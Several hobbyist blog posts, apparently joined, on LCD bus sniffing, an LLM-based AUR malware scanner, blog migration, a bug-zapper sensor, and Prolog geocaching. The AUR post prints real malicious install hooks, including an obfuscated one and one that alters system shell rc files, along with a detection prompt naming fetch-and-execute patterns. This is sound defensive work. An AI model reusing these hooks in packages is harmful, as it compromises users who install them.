Of course, the easiest approach would be to buy a new sensor (that same manufacturer has one with Wifi enabled nowadays), or even roll your own with an ESP32 and parts. But in the spirit of my vibe-EEing experiments, I thought I’d have a bit of Claude-assisted fun.

RAM dumps via ICSP

I dismantled the air quality monitor, found out it’s based on a simple PIC32MM. My first hope was to be able to use the ICSP (In-Circuit Serial Programming) debugger and repeatedly dump the RAM content to find where and how the air quality data is stored.

The PCB is only 2 layers, so it’s reasonably easy to trace pins from the MCU to headers. The programming header is 5 simple pins (MCLR, VDD, GND, PGED, PGEC).

I did not have a PIC32MM programmer on hand, and some good packages exist for RP2040 (kiffie/pic32probe), but I only had some ESP32-C6 boards available. So I just ended up vibe-coding a programmer in Rust/embassy for that board. It was quite interesting to see Claude struggle with the spec, and it ended referencing the pic32probe code A LOT. Working code is here, not that it’s particularly worthwhile.

That idea, however, quickly died: the device is code-protected. In this mode, it is not possible to read back the firmware (not my plan anyway), nor use the debugger. The only thing I could have done is to completely reflash the chip, not what I wanted to do here.

LCD grabbing

The next idea is quite a bit more advanced (and where it gets really fun!). Now that I know the MCU is a simple PIC32MM, with only 32 KB of RAM, it’s clear that it could not hold a full framebuffer (so the LCD has to be somewhat smart), and that signals have to be reasonably low speed.

I started probing the LCD connector. It’s a bit of a headache to count pins on 2mm pitch connector or FPC and set the multimeter/oscilloscope probe correctly, so I found a 39-pin 2mm FPC to 2.54mm DIP adapter on Shopee to make my life easier, and ended up with the following pinout guess:

• 1 GND
• 2-17 pulses
  • 7-12 also pulses, but sometimes lingering at 3.3V
  • From 11-17, lower frequency? Slower high/low pulses
• 18-19 GND
• 20 high
• 22 pulses – very regular, I wonder if this is some clocking?
  • 500ns down pulses every ~1.5us
• 23 short pulses? End of something?
  • ~500ns low pulse every ~10us
• 24 very short pulses, frequent
  • ~200 ns low pulses every ~1.5us
• 33/35/36/37 3.3V (all shorted confirmed)

Based on this information, and a bit of further probing¹, Claude helped me figure out this is probably an ILI9488 or ST7796S chip (or similar), using a 16-bit 8080 parallel MCU interface. Those are “smart” displays that take in partial updates commands, making them well suited to be driven from a small MCU like the PIC32MM.

The final Claude-authored notes about the display and pinout are here: display_notes.md.²

RP2350-based grabber

After a bit of back and forth with Claude, I ended up getting a Raspberry Pico 2 W board for further experiments. The RP2350 has an excellent programmable I/O (PIO) controller that makes it very easy to prototype: no fixed trigger pin assignment, and it’s easy to adjust edge and timing.

I told Claude to write a RP2350 firmware in Rust/embassy, and I played smart hands for the AI. I connected the pins as it advised, pressed the bootloader/reset buttons as instructed. After a while, got a bit tired of being reduced to an assistant button presser for the AI, so I asked Claude to write functions to reset the board to bootloader mode, to make it able to reflash the firmware unattended.

And then basically watched it experiment (under some supervision). One of the challenges was to identify the purpose of pins 22/23/24, and the exact capture timing. The key here is WR (pin 24) that latches the data bus pins 0-15 on an edge. The DC (pin 23) is also quite important, as it is active at the beginning of each LCD command. A challenge with the DC (pin 23) is that it seemed to transition close to the WR edge. A small delay in the PIO capture code helped.

let prg = pio_asm!(
    ".wrap_target",
    // Falling-edge sampling. After WR transitions high→low we
    // re-check that WR is actually still low — filters any
    // spurious mid-cycle dips on WR (e.g. ringing on the
    // rising edge of the previous pulse) that would otherwise
    // produce a phantom sample.
    "start:",
    "    wait 1 gpio 18", // 18: WR
    "    wait 0 gpio 18 [2]", // short delay, then recheck WR
    "    jmp pin, start", // pin: WR
    "    in pins, 18", // 0..15 == DB0..15, 16: CS, 17: DC, 18: WR
    ".wrap",
);

All of this was figured out with a mix of reading the spec, and trial and error. I’m still not convinced that using the falling edge + short delay is correct, but that seems to be what works best. I’ll also say that watching Claude struggle was sometimes frustrating, it often gets stuck in reasoning loops, but it seemed to be possible to make it escape those with (sometimes aggressive) nudging.

The final RP2350 firmware is in this folder.³

Host-side display app

As part of the experiments, I asked Claude to write an LCD command parser, first to debug the capture visually, and then to actually write code to grab the data. I gave complete freedom to Claude, and it picked eframe for this.

The whole setup looks like this: an FPC adapter tapping the LCD signals, a Pico 2 for capture, and decoding live on the laptop.

I must say the result feels quite magical:

The right-side video perhaps gives the best picture of how the display is updated. There are two things to watch out for:

• Single digits are updated at fixed positions using partial rectangular repaints, and it’s only on reset that the display is fully repainted. For example, when the PM2.5 value changes from 12 to 15, only the unit digit 5 is repainted. This means that we cannot be certain of the complete value unless we grab data from boot time.
• We also need to be careful when multiple digits are updated, e.g. a temperature change from 30 to 29 may be briefly displayed as 20.

From there, converting the displayed information to numerical data is reasonably easy and completely deterministic: There are only 10 glyphs (digits 0-9) of 3 different sizes, as well as a decimal separator for TVOC data. We can simply grab all possible digits, ask Claude to classify them (or just do this by hand). Then, at runtime, we can just compare glyphs pixel by pixel to the references.

The code of the host is here. It also relies on other workspace crates as they ended up being reused later on embedded platforms.

That’s it for now. In the next posts I’ll look a bit at bandwidth issues, data compression, design of a hybrid ESP32+STM32 platform, Claude-assisted PCB design, and finally some home assistant integration.

A short disclaimer: Not an expert at this, just a weekend experiment that I thought would be interesting to some. Text: human-generated. Code: not.

Attack patterns

The first wave of attack consisted in diffs that look like this, installing npm, then a compromised atomic-lockfile package:

diff --git a/PKGBUILD b/PKGBUILD
--- a/PKGBUILD
+++ b/PKGBUILD
@@ -8,6 +8,7 @@
+  'npm'
@@ -19,6 +20,7 @@
+install=xxx-bin-deps.install
diff --git a/xxx-bin-deps.install b/xxx-bin-deps.install
--- /dev/null
+++ b/xxx-bin-deps.install
@@ -0,0 +1,4 @@
+post_install() {
+  cd /tmp
+  npm install atomic-lockfile glob ansi-colors
+}

A second wave did something similar with bun instead of npm.

Vibe-coded scanner

My first thought was to see how much of my Claude credits it would cost to scan every package description change on the AUR. Unlike other more elaborate setups, I only focus on the package description itself (PKGBUILD, additional patches, scripts…). If the source itself is harmful, it’s a different, wider ecosystem problem.

I just put Claude in auto-mode to try to solve the problem. AUR provides some API surface, so the script simply fetches an updated AUR metadata database (if available), and then fetches all the diffs for updated package descriptions.

Then, the following instructions are fed to the model, followed by each individual diff:

You are a supply-chain security analyst reviewing the git diff of one Arch Linux
AUR package for malware. Judge ONLY the code in the diff — what it would *do* if
built or installed. The package's name, age, vote count, or popularity is NOT
evidence of anything; ignore it. For a brand-new package the diff is the initial
commit (the full PKGBUILD/scripts as `+` additions); otherwise it is just the
change. Focus on added lines (`+`).

Flag a diff only for concrete malicious behaviour:
- remote fetch-and-execute (`curl|bash`, `bash <(curl)`, `python -c` fetching,
  `base64 -d | sh`, `eval` of downloaded data)
- hardcoded IP:port / C2; sources from paste sites, raw gists, IP URLs,
  file-drop hosts, URL shorteners, ngrok
- write + `chmod +x` + exec in `/tmp`; systemd unit / cron / timer pointing at
  dropped files; `sudo`
- obfuscation (long base64/hex, `\\x` escapes)
- a binary for a well-known app sourced from a non-official domain
  (typosquat / masquerade)
- installing/running unrelated packages (e.g. `npm install`/`npx`) in build()
  or an install hook

Most diffs are ordinary packaging and are `clean`. Do NOT downgrade a clean diff
to `review` just because the package is new, unpopular, or sparsely documented —
that is not a security signal. Legitimate `-bin` packages pulling from the
vendor's official release URL are clean.

Verdict scale (pick the lowest that fits):
- clean      : nothing concerning in the diff. This is the common case.
- review     : a specific line is genuinely ambiguous and a human should look —
               not "could be anything", but "this exact thing might be bad".
- suspicious : a concrete pattern above is present and not clearly legitimate.
- malicious  : clear fetch-and-execute, C2, or obfuscated payload.

Respond with ONLY a JSON object (no prose, no markdown fences). For a clean
diff, leave iocs/reasons/evidence empty:
{
  "verdict": "clean | review | suspicious | malicious",
  "confidence": 0.0,
  "iocs": ["130.162.225.47:8080", "https://..."],
  "reasons": ["one-line findings tied to a specific line"],
  "evidence": [{"snippet": "exact line", "why": "what's wrong"}]
}

I had almost no input on that prompt (vibe-prompting?), I think it’s quite reasonable, but maybe overfitted to actual attacks on hand here (one of the future attacks used exactly one of the patterns mentioned in the prompt though)…

I don’t think the code itself is of major value, I can post it if people are interested but it’s just a prompt away from being regenerated: you could just feed this post to a good model.

Claude Haiku was definitely able to detect the existing malicious packages, with no false positive².

Model choice

There are about 1000-2000 pushes to the AUR every day, and it quickly became obvious the costs of something like Claude Haiku would be too high: somebody mentioned 0.03$ per package, so 30-60$/day, or ~1000-2000$/month, reasonable with a token-maxing mindset, absolutely not as a hobby project, or for a non-profit like Arch.

So I decided to try local models. I only have a ~3 year old laptop with a beefy CPU (Intel Raptor Lake, 6 Performance-cores, 8 Efficient-cores), and a ton of RAM (64GB), but a totally useless integrated GPU³. A bit of prompting later, I ended up trying the Google Gemma 4 models, that are supposed to be able to run well on CPU.

I first tried the biggest I could run: Gemma 4 26B A4B (mixture of experts, 4B active parameters), and it was definitely able to catch the malicious samples I collected.

I then sent Claude on a mission to test different models (all 4-bit quantized GGUFs running with llama.cpp):

E4B is less RAM-intensive, but about the same speed as 26B A4B from my recollection – seems like that’s what the mixture of experts thing is good at: the number of active parameters stays small (“A4B”). Qwen3.5-4B did not perform well. E2B was a very good surprise though: ~3.5x faster than E4B/26B A4B, while using much less RAM.

Suddenly we have a system that can detect malware with a few decent CPU cores and 4GB of RAM, in about 20s per package. More than fast enough to scan every single change if running 24/7.

New detections

It’s unclear how well the small model would perform with serious attacks, but it was able to detect 2 more waves after I set it up:

• Slightly obfuscated content (or as somebody mentioned in a phoronix comment, That doesn’t obfuscate anything, it just screams “look at me, I’m doing something nefarious”):

  diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install
  --- /dev/null
  +++ b/htbrowser-bin-deps.install
  @@ -0,0 +1,3 @@
  +post_install() {
  +  $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
  +}
  

• And insults in what looks like Russian (technically harmless, still malicious though):

  diff --git a/PKGBUILD b/PKGBUILD
  index e1d51c2d80d0..55a192de8f60 100644
  --- a/PKGBUILD
  +++ b/PKGBUILD
  @@ -20,6 +20,13 @@ build() {
  +post_install() {
  +  echo 'echo '[insert insults]'' >> /etc/bash.bashrc
  +  echo 'echo '[insert insults]'' >> /etc/zsh/zshrc
  +  echo 'echo '[insert insults]'' >> /etc/fish/config.fish
  +  echo 'echo '[insert insults]'' >> /etc/profile.d/albanianvirus2.sh
  +}
  +
  

It also picked up 2 smaller issues with other package descriptions, that are packaging mistakes rather than actual malicious behaviour:

• One author kept pushing empty git commits, which caused the model to hallucinate a serious attack. Clearly a false positive, I fixed the script, and also notified the author (pushing empty commits isn’t very useful).
• A malformed package obtaining version from a git tag:

  +pkgver=VERSION # This will be automatically updated by makepkg via pkgver()
  

I think there were a few more false positives, and a few model crashes/errors that could be fixed by fine-tuning the script with more data, but the false positive rate has been very low.

P-cores vs E-cores (and GPU)

And just another fun one to conclude, running this on my laptop makes it really hot. Claude did some experiments and noticed that pinning to the E cores is better for peak power consumption (but similar total energy – captured using RAPL).

While at it, I also wanted to double-check how the GPU fares. It took a while to install the SYCL llama.cpp (from AUR), and, performance/power is not worth it.

Running this kind of quick-and-dirty performance experiment has become extremely easy nowadays (one prompt vs hours of trying to figure out how to use RAPL properly).

Future?

Probably not much, I may try to keep running this script for a while to see if I pick up more bad packages.

The code would probably need to be rewritten to run seriously in production, and a lot of other people seem to be interested in that space, but I thought this experiment provides insights into what is possible with a small local model.

This idea came when listening to the excellent Vergecast, and in particular this episode, where they mention using AI to fix up formatting in their archive:

I’ll give you an example just from our own little database. The Verge is a database. Like, what is a website? It’s a big database full of stories. There’s a bunch of old features in our database that are broken because of successive redesigns or web standards, changes, or whatever it is. After 15 years, there are stories on our site that are broken. I’m like, we should just let Claude fix them.

This is a classic example of we would never pay a human being to go through the archive because we’ll never get enough traffic to pay back the work. And it’s like, I can, this is what it’s for. It’s amazing. Its ability to strip bad HTML and replace it with good HTML is […] a fundamental capability of Claude Code. And I don’t have this […] labor anxiety about it because in no world was that ever a good idea to set a human upon doing. Like it just economically made no sense. Engineers want to make new things that people care about. They don’t want to make old things. Or fix old things.

— Vergecast: Fear and Loathing at OpenAI (transcript)¹

This totally resonated with me. It would not be worth doing the work myself, but if I can just throw tokens at it? Sure.

So I did, just that. “I” downloaded the whole of my old blog using recursive wget. Then asked Claude to convert one page to markdown, and write down instructions. I then looked at the output, asked it to iterate on the instructions. Once I got a bit more confident, I asked it to convert batches of 5-10 pages at a time.

Took me maybe 2 to 3 hours, and, not that many tokens – you don’t need a very smart model for this.

Here’s the final guide, for reference:

# Blogger Import Guide

Migrating posts from https://drinkcat.blogspot.com/ to this Jekyll blog,
one at a time.

## Source material

- Mirrored HTML: `blogger-mirror/drinkcat.blogspot.com/YYYY/MM/slug.html`
- All posts listed at: `blogger-mirror/drinkcat.blogspot.com/index.html`

## Per-post conversion steps

### 1. Determine post metadata

From the mirrored HTML, extract:
- **Title**: `<h3 class='post-title entry-title'>`
- **Date**: `<abbr class='published' itemprop='datePublished' title='YYYY-MM-DDTHH:MM:SS+TZ'>`
- **Labels/categories**: `<a href='.../search/label/...' rel='tag'>` in
  post footer

### 2. Create the Jekyll post file

Filename: `_posts/YYYY-MM-DD-slug.markdown` (use same slug as Blogger URL)

Frontmatter:
```yaml
---
layout: post
title: "Post Title"
date: YYYY-MM-DD HH:MM:SS+TZ
categories: category blogspot
---
```

Always include `blogspot` as a tag/category to identify imported
posts.

### 3. Convert HTML content to Markdown

The post body is in `<div class='post-body entry-content'>`.

Conversion rules:
- `<h3>`, `<h4>` → `###`, `####` headers (strip inline styles)
- `<b>` → `**bold**`
- `<i>` → `*italic*`
- `<a href="URL">text</a>` → `[text](URL)`
- `<br />` → remove or use blank line between paragraphs
- `<ul>/<li>` → `- list item`
- Plain paragraphs: strip surrounding `<div>` and `<p>` tags
- `<!--more-->` → remove (use `excerpt:` in frontmatter if needed)

**Images with captions** (Blogger `tr-caption-container` table
pattern):
```html
<table class="tr-caption-container">
  <tr><td><a href="...s1600/name.jpg"><img src="...s640/name.jpg"/></a></td></tr>
  <tr><td class="tr-caption">Caption text</td></tr>
</table>
```
→ download the `s1600` full-size image, store in
`images/POST-SLUG/name.jpg`, generate thumb with
`bin/make-thumbnails.sh`, then:
```
{% include img.html src="/images/POST-SLUG/name.jpg" alt="Caption text" %}
```

**Images without captions** (`div.separator` pattern):
```html
<div class="separator"><a href="...s1600/name.jpg"><img src="...sNNN/name.jpg"/></a></div>
```
→ same download/embed as above, use filename as alt text or leave
blank.

**Inline formula/small images** (no link, no zoom needed): use a plain
`<img>` tag instead of the include:
```html
<img src="/images/POST-SLUG/name.png" alt="description" style="display: block; margin: auto;" />
```

**Data tables**: keep as raw HTML — kramdown passes it through fine.

**Code blocks** (`<div class="code">` with monospace spans, or `<pre>`):
→ triple-backtick fences, add language hint if obvious.

**Dead embeds** (Flash, Picasa slideshows): remove entirely.

**Internal Blogger links**: leave as-is for now; update as those posts
are migrated.

### 4. Download and process images

```bash
# Create image directory for this post
mkdir -p images/POST-SLUG

# Download full-size images (replace URL with s1600 variant)
wget -P images/POST-SLUG/ "https://blogger.googleusercontent.com/.../s1600/name.jpg"

# Generate thumbnails
bin/make-thumbnails.sh images/POST-SLUG/*.jpg images/POST-SLUG/*.png
```

### 5. Add TODOs for internal Blogger links

For any link pointing to another `drinkcat.blogspot.com` post not yet
migrated, add an HTML comment above the line:

```
<!-- TODO: update link below once YYYY-MM-slug is migrated -->
```

### 6. Preview

```bash
bin/serve.sh
```

Check the post renders correctly and images load.

Once I confirmed the detection circuit and software works, I wanted to shrink the design, and make it more “professional”. I never designed a PCB in my life, so this was a good opportunity to start!

I used KiCad to draw the PCB, based on the schematics in the previous post, and included the detection antenna directly in the PCB. The files are available on github.

I wasn’t sure if the ESP32 board would be happy to sit so close to the EMI spike, so I designed the PCB in a way that the antenna could be separated from the detection circuit and ESP32 if needed.

To reduce complexity, cost (and avoid import regulations issues), I didn’t want to directly manufacture a PCB with ESP32 on board. So I simply included the through holes to solder a header on the board and plug in an ESP32-C6 Xiao board – I also included pads if I wanted to solder the Xiao board directly using castellated edges.

Finally, I also added some 0-ohm resistors to the antenna to make it possible to shorten or lengthen it, as I only did a very rough estimate of the inductance.

Manufacturing

I went for JLCPCB here, as it’s incredible value for money, especially when including shipping to Taiwan where I’m located.

I won’t go into the details of JLCPCB gotchas and best practices (lots of resources online and I found it fairly easy to do trial and error on their site before manufacturing), but just 3 things to note:

• I used the DRC rules by labtroll.
• To generate Gerber files, BOM, and placement files, I used the wonderful Fabrication Toolkit by bennymeg.
• If you want to specify tooling hole locations, use the “ToolingHole” footprint installed by the plugin above.

Cost breakdown, with coupons applied:

• 2.00 USD for PCB manufacturing (2-layer) – 5 pieces
• 1.00 USD for PCBA (assembly) – 2 pieces (out of the 5)
• 2.88 USD for shipping
• 0.00 USD customs fee

So, a total of 5.88 USD, and it took 10 days from me sending the order to receiving it – that’s actually much longer than expected, had some slight issues with the shipment that I won’t get into here.

As you can see, 2 of the 5 boards are assembled. I did this to keep the weight super low to save on shipping (the components themselves, and assembly, are essentially free with coupons), and the components are big 1206-size so I could solder them by hand if necessary.

And, finally, a video, similar to the one on the previous post. I’m using a screwdriver (just after turning off the tower) to “emulate” a mosquito. The detection is shown by the LED blinking:

Looks like it’s just working, the loops are long enough, and the ESP32-C6 does not mind the EMI spike.

Addendum

Just for fun, before making a PCB, I made a tiny stripboard version of the detection circuit. I won’t show the back side with my terrible terrible soldering.

So I installed a bug zapper in my house, in an attempt to control the mosquito population¹. It’s basically a blue light surrounded by a metal grid, charged at high voltage, that discharges when something gets in between. I know it zaps, the noise and flash are obvious, but something is obviously missing: A dashboard! How many mosquitoes do I catch? I need statistics.

This was also a good opportunity to see how well vibe-EEing works (clue: I mostly have no idea what I’m doing – and neither does Claude, but in all fairness the end result is probably not so different from what I could have done with web searches picking bits and pieces of circuits).

Discarded alternatives

I considered a number of alternatives, from web searches to friends’ suggestions. It would probably be easiest to detect the discharge by tapping the circuit inside the tower directly, but I want something that doesn’t require disassembly.

Looking at external methods to record the events:

• Recording the zap sound with a microphone: very doable, but I didn’t want something that always listens, and signal processing didn’t seem fun.
• Recording the light flash: might be doable, unsure how it’d do under different lighting, and we’d need multiple sensors around the tower. But maybe doable.
• Weighing caught mosquitoes: impossible, each of them weighs in the order of a few micrograms.

Vibe-EEing experiments

That leaves something that detects the fast electrical discharge. The grid actually radiates quite a bit of energy during the zap.

I did not have spare mosquitoes at hand, so the “testing” method looks like this:

• Turn on the tower, wait a bit for the grid to charge, turn it off.
• Insert a screwdriver between the wires of the grid, zap.

I tried a few things with my portable oscilloscope, a simple antenna monopole caught a strong spike, but also a LOT of noise. I thought a wire loop would work better, and, after a bit of back and forth with my best friend Claude:

Me: I… found an AM antenna loop, is this a good idea

Claude: [long reply about antenna frequency tuning]
Just try it as-is on the scope first — I’d expect a very clean detectable burst with good SNR, probably better than a homebrew air-core loop. It’s a good find.

And, it worked! Perhaps a bit too well, but hey Claude found it hilarious, seemed really confident in the quality of my tiny handheld oscilloscope², and made safety claims I’d rather not rely on:

Me: Err 600 V peak to peak. About 2us long but ringing down to zero in 10us. Is this safe?

Claude: 600Vpp is surprising but not shocking (no pun intended) given the ferrite core amplification — the ferrite concentrates flux and the tuned resonance further boosts the voltage. [note: no ferrite core in this antenna]
Let’s break down the safety question:
The oscilloscope is fine — you’re well within typical probe ratings (most handle 300–600V CAT I), so no concern there.
Don’t touch the leads while the zapper is on — 600V open-circuit is enough to feel very unpleasant even if the energy (microjoules, given the 10µs duration) is tiny. It won’t kill you but it will surprise you.

Obviously, I then moved on to a smaller loop (using some makeshift coax cable to reduce noise), and the signal is more reasonable, and very consistent. I left the oscilloscope overnight in persistence mode, and a few mosquitoes got caught.

I also verified that switching on or off the tower manually doesn’t cause anything measurable – the grid takes about a second to charge fully, and naturally discharges in a few seconds.

Clamping circuit

So the next step is to design a circuit to connect that signal to a microcontroller – we need to clamp the voltage between 0 and 3.3V or so.

This is where Claude showed serious limitations, and asking relevant questions was essential. A long bit of confusion later — maybe this is a bit too high frequency for a cheap op-amp? No, I can’t use a “normal” diode with 0.6-0.7 V forward voltage as the pin is only presumably rated for -0.3V to 3.6V. No, the Schottkys do not need to withstand large reverse voltage as the other diode conducts — we ended up with this:

Coil → [1kΩ] → D1 1N5817 to 3.3V
             → D2 1N5817 to GND
             → GPIO

Which I think is sensible, the resistor limits the current going through the diodes, and the diodes will conduct when the voltage is higher than 3.6V (or lower than -0.3V). The extra 0.3V on each side should be fine for a GPIO pin, the datasheet for the ESP32C6 I’m going to use isn’t terribly clear though.

I then tried to get Claude to generate schematics – hilarity ensued. I now know I should have asked for a netlist (maybe using SKidl?)?

So I drew something by hand instead. I also added a second resistor between the diodes and the GPIO pin for extra protection³. And a capacitor on 3.3V – I think this should help still clamp the signal if the board is switched off (probably not needed). And a pull-down on the GPIO pin to prevent the signal from floating to weird levels if the antenna is not connected (I should learn about diode leakage current…).

ESP32 integration

I picked an ESP32-C6 devkit board, and used this as an opportunity to see what all the embedded Rust rage is about. I first made a esp-idf-svc based firmware, that builds on top of Espressif C/FreeRTOS esp-idf libraries, then rewrote in the Espressif-supported, native-Rust esp-hal framework. Claude is much better at coding than vibe-EEing, and makes it really fast to put things together.

The code⁴ is reasonably simple, and boils down to:

• Connect to Wifi (hardcoded SSID in firmware for now)
• Wait for rising edge on the input pin (pulse is long enough to be easily caught, a little bit of debouncing is necessary though)
  • Blink LED as immediate feedback.
  • Send a message to a cloud service via Wifi/HTTP.

I must say I found the embassy abstraction of interrupt handler into an async event really cool, then we can just publish to a pubsub queue that the blink and message handler tasks pull from.

    loop {
        zap_pin.wait_for_rising_edge().await;
        info!("Zap!");
        zap_pub.publish_immediate(());
        Timer::after(Duration::from_millis(100)).await; // debounce
    }

Dashboard!

I looked a bit at Blynk and Thingsboard⁵, and the latter seemed a little easier to use, with possibility of self-hosting if I wanted to, and longer data retention (if I understand correctly).

The only small gotcha was to make sure the ESP32 sends an empty message every few minutes so that the dashboard does not think the device is offline, as we only very rarely send events.

Making a dashboard out of the zap events was really simple with the UI.

One really interesting this to notice is that the bug count dropped a lot on April 5, it was a very rainy day, I suspect nests got flushed away. Not for long though.

That’s it! Ideas welcome, leave a comment below or just contact me.

In part 2, I make a PCB from this design.

Some of the mystery caches require to solve a puzzle to find the final coordinates where you can find the box.

I’ll focus on a particular puzzle here, where I ended up using Prolog to find the target coordinates. I will not give out the specific problem I solved, and I heavily modified the numbers below, as I do not want to provide spoilers.

Coordinates

One example of coordinates looks like this:

N 25° 02.008 E 121° 33.951

Geocaching usually uses degrees (e.g. 25), followed by minutes (02), and a fractional decimal part (008).

A mystery cache is usually posted at bogus coordinates, and some computations are required to get to the final location, which “cannot be more than 2 miles (3.2 kilometers) from the posted coordinates” (ref).

Puzzle

The problem I wanted to solve required finding 10 variables (A, B, C, D, E, F, G, H, J, K), based on questions that should be solvable online.

This puzzle is fairly old, and requires looking at the profile of the geocacher who hid it. For some variables, the solution can be found, for others there is no way anymore (I believe geocaching website tightened privacy rules), and for some others, only a lower bound can be found (e.g., the number of finds in a given year excludes caches that have been archived since then, so if I can find 2 caches on the website, the number of caches that have actually been found can be anything more than 2, or 2 itself).

In my case, I could be find 4 of the variable values (A, E, H, and K), while I had lower bounds for 3 variables (D, F, G), and no solutions for 3 more (B, C, and J).

We also know that the sum of those 10 variables must be equal to 25.

Once those 10 variables are found, the final coordinates are given in this form, where each of the expressions in parentheses give out one number in the final coordinates.

N 25 (J-E)(F+A).(K-F)(E+C)(G+C)
E121 (H-C)(E+G).(E-B)(J-D)(CxA)

This is helpful to constraint the variable values above, as we know that each of those numbers must be between 0 and 9 (so, for example, 0 <= (K-F) <= 9, or, in other words, K >= F and K <= F+9).

Furthermore, we know that the target must be within 3.2km of the posted coordinates, so we can compute a bounding box for the latitude and longitude coordinates (technically, the possible area is contained within a circle, but the maths become too difficult and not worth it).

For the latitude, constraints can easily be computed: earth circumference is 40000km, and there are 360°, so each degree is about 111km (40000/360), so each minute is 1.85km (111/60). Therefore, we know that the North coordinate must be within 2 minutes (2*1.85km = 3.7km > 3.2km) of the starting position.

So for a starting position at N 25° 02.008, the minutes must be somewhere within 00 and 04 (2 minutes away from 02). Based on the expression above, this implies that J-E=0 (or J=E), and that F+A must be in between 0 and 4.

The longitude coordinates are a little bit trickier, as they depend on the latitude (each longitude degree gets shorter as you move away from the equator). For example, at 25° North, each longitude degree is 100km (111km * cos(25°)), so each minute is 1.67km. So we must still be within 2 degrees (2*1.67km = 3.34km > 3.2km: this would be larger for coordinates further north, or far south).

So again, we have, for a starting position at E 121° 33.951, that the minutes must be between 31 and 35, which applies constraints on (H-C) and (E+G).

Now that we have all of these constraints, we could try to solve this by hand, but this might range from difficult to… impossible. Which is why I introduce Prolog.

Prolog

Prolog is an old programming language from 1972, in the field of Artificial Intelligence (before it was so cool I guess), that allows you to easily state such logic problems.

In this case, I will use the clpfd module (“CLP(FD): Constraint Logic Programming over Finite Domains”), as we are just facing a CLP problem. So I suppose we could also simply use a CLP solver instead of Prolog – but I had to use Prolog for another problem, so this was most convenient.

Now, lets convert the constraints above:

Not much boiler plate needed, we just include the CLP module, and start the program with ?-

:- use_module(library(clpfd)).

/* Start of script */
?-

Then, we can declare constraints. For known variables, we can just set then:

    A #= 1,
    E #= 2,
    H #= 8,
    K #= 2,

For the ones that have a known lower bound, we can assign then as such (I do put a larger upper bound, that makes sense given the problem, we could increase it if needed).

    D in 2..100, /* e.g. at at least 2 caches found */
    F in 1..100,
    G in 1..100,

Finally, we assign the unknown values between 0 and 100:

    B in 0..100, /* These cannot be found anymore */
    C in 0..100,
    J in 0..100,

Now, we can start adding constraints. We know that the sum is 25:

    A+B+C+D+E+F+G+H+J+K #= 25,

For the coordinates, I set intermediate variables, then apply constraints:

    /* N 25 (J-E)(F+A).(K-F)(E+C)(G+C) */
    N1 #= J-E, N2 #= F+A, N3 #= K-F, N4 #= E+C, N5 #= G+C,
    N1 #= 0, N2 in 0..4, /* Minutes between 00 and 04 */
    N3 in 0..9, N4 in 0..9, N5 in 0..9, /* Decimals between 0 and 9. 

And we do something similar on the longitudes coordinates:

    /* E121 (H-C)(E+G).(E-B)(J-D)(CxA) */
    E1 #= H-C, E2 #= E+G, E3 #= E-B, E4 #= J-D, E5 #= C*A,
    E1 #= 3,
    E2 in 1..4,
    E3 in 0..9, E4 in 0..9, E5 in 0..9,

Then, we tell the solver to solve the constraints, and print the variables, and final coordinates:

    /* Solve */
    indomain(B), indomain(C), indomain(D),
    indomain(F), indomain(G), indomain(J),
    /* Print solution */
    write([A, B, C, D, E, F, G, H, J, K]),
    write(": N25 "), write(N1), write(N2), write("."),
    write(N3), write(N4), write(N5),
    write(" E121 "), write(E1), write(E2), write("."),
    write(E3), write(E4), write(E5),
    nl, /* New line*/
    fail. /* Hack that makes it print all solutions. */

I’m not 100% sure to understand the fail trick here, but that nicely allows Prolog to provide all possible solutions, and not just the first one.

Then we can just run the Prolog interpreter (I use SWI-prolog):

swipl -s geocaching.pro

Which outputs 3 sets of solutions, along with the final location:

[1,0,5,2,2,1,2,8,2,2]: N25 02.177 E121 34.205
[1,0,5,2,2,2,1,8,2,2]: N25 03.076 E121 33.205
[1,1,5,2,2,1,1,8,2,2]: N25 02.176 E121 33.105

We can then see where those locations are on Google maps (e.g. we can eliminate the ones in the middle of a river), or the mystery cache provides a geochecker that allows us to try those 3 options to see which one is correct.

That’s it! Happy geocaching!

simple-serac is available on github, under a BSD license.

I’ll just repeat the design philosophy here, we’ll go through a concrete use case in the next post.

Philosophy

• Targets infrequent backups of relatively large files (~megabytes), e.g. a photo library.
  • Assumes you have enough RAM to keep the list of all files in memory (this shouldn’t be a problem unless you have millions of files).
  • Do not use this to backup small files, e.g. your home directory. Use more suited tools like duplicity.
  • Only knows how to backup normal files and symbolic links.
• Targets Amazon S3 Deep Glacier: Cost of restoring many objects can be very expensive, so we bundle the files in relatively large tarball chunks (256 MiB by default).
  • Relatively small chunks make it reasonably cheap to restore a single file if needed.
  • Most chunks will be somewhat larger than the set limit, as a single file will never stride over multiple chunks.
• Only supports incremental backups: new and modified files are uploaded. No awareness of deleted files.
  • If you want to start a new full backup, chose a different bucket or directory.
• Simple, human readable database: restoring is possible without special tools.
• Not meant to be used unattended: Will not remove anything on the remote side, will bail out on most errors, may require human intervention.
• Can be interrupted and restarted without loss.

Design

The S3 bucket directory contains 3 subdirectories:

• Database: db/*.json (in AWS STANDARD storage)
• Data: data/*.tar (in AWS GLACIER storage)
• Reports: reports/*.csv (in AWS STANDARD storage)

Database

The database is a set of json files in db/. Each tarball in data/ has a corresponding database file, listing the content in the tarball.

We need this database in STANDARD storage, so that it’s readily, and cheaply, available for restore operations, or for incremental backups.

For example, db/20240706-114654-000337.tar (a tarball of ~128MB) has a corresponding json database file db/20240706-114654-000337.json, listing the 101 files within it.

For each file in the tarball, we save the name, size, modified time, and SHA-256. For example:

    {
        "name": "ALL_PHOTOS/2018/05/20180520_124950.jpg",
        "size": 390633,
        "modified": "2018-05-20T04:49:50+00:00",
        "sha": "c977fc1f2e2bd371480c625d3e5564716b8921ccf879712f679a2cd1b07ee0d9"
    },

Reports

While the json files are technically human-readable, finding a target file in them would be a bit difficult: There can be hundreds of them, and the content is not terribly easy to grep.

Therefore, at the end of the backup process, the tool creates a .csv report in reports/ that can be imported into a spreadsheet app if needed for easier visualization.

Only the last report needs to be downloaded: it aggregates data from all incremental backups.

Runtime

At runtime, the tool does the following:

• Connect to S3.
• Run some basic sanity check on the remote directory structure.
• Fetch the database to a local directory in .cache (only copies the files if they are not already present).
• Read and parse the database.
• List all files in the local directory:
  • For each file, see if there is already and entry in the database, if so, compute the SHA-256. If the file is new, or the SHA-256 differs, mark the file for upload.
